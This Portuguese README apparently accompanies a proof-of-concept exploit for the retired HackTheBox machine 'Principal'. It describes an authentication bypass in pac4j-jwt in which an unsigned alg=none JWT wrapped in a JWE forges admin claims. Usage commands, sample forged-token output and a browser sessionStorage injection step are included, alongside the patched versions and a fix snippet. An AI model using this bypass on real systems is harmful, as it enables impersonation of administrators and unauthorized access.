
Prova de Conceito (PoC) para uma vulnerabilidade de bypass de autenticação que afeta aplicações que utilizam pac4j-jwt com JWE (JSON Web Encryption).
Aviso legal: Este exploit foi desenvolvido exclusivamente para a máquina aposentada "Principal" do HackTheBox. Apenas para fins educacionais. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
| Campo | Detalhes |
|---|
| Nome | Principal |
| Plataforma | HackTheBox |
| Dificuldade | — |
| Status | Aposentada |
Biblioteca afetada: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
Severidade: Crítica
Tipo: Bypass de Autenticação
Uma falha de lógica no JwtAuthenticator permite que um atacante contorne a
autenticação envolvendo um PlainJWT não assinado (alg=none) dentro de um JWE
(JWT criptografado).
Quando o servidor descriptografa o JWE, ele tenta analisar o token interno como
um SignedJWT. Como o token interno é um PlainJWT, o objeto SignedJWT é
nulo e a verificação de assinatura é completamente ignorada. O servidor então
constrói um perfil de usuário a partir das claims não verificadas — permitindo
a suplantação total de qualquer usuário, incluindo administradores.
Criar claims maliciosas (sub=admin, role=ROLE_ADMIN)
↓
Construir PlainJWT não assinado (alg=none)
↓
Envolver PlainJWT dentro de JWE usando a chave pública RSA do servidor
↓
Enviar token JWE ao servidor
↓
Servidor descriptografa JWE → encontra PlainJWT → ignora verificação de assinatura → concede acesso
Veja exploit.py
Atualize o pac4j-jwt para uma versão corrigida:
4.5.9 ou posterior5.7.9 ou posterior6.3.3 ou posteriorOu rejeite explicitamente tokens internos PlainJWT após a descriptografia do JWE:
if (jwt instanceof PlainJWT) {
throw new CredentialsException("PlainJWT não permitido dentro de JWE");
}
/api/auth/jwks
alg: noneEnvolver dentro de JWE usando a chave pública
Enviar como:
Authorization: Bearer <token>
pip install jwcrypto requests
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard
[+] Token Forjado:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...
[+] Injeção no Navegador:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")
[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}
Abra o DevTools → Console:
sessionStorage.setItem("auth_token", "<COLE_O_TOKEN_AQUI>")
Em seguida, navegue para:
/dashboard
alg: none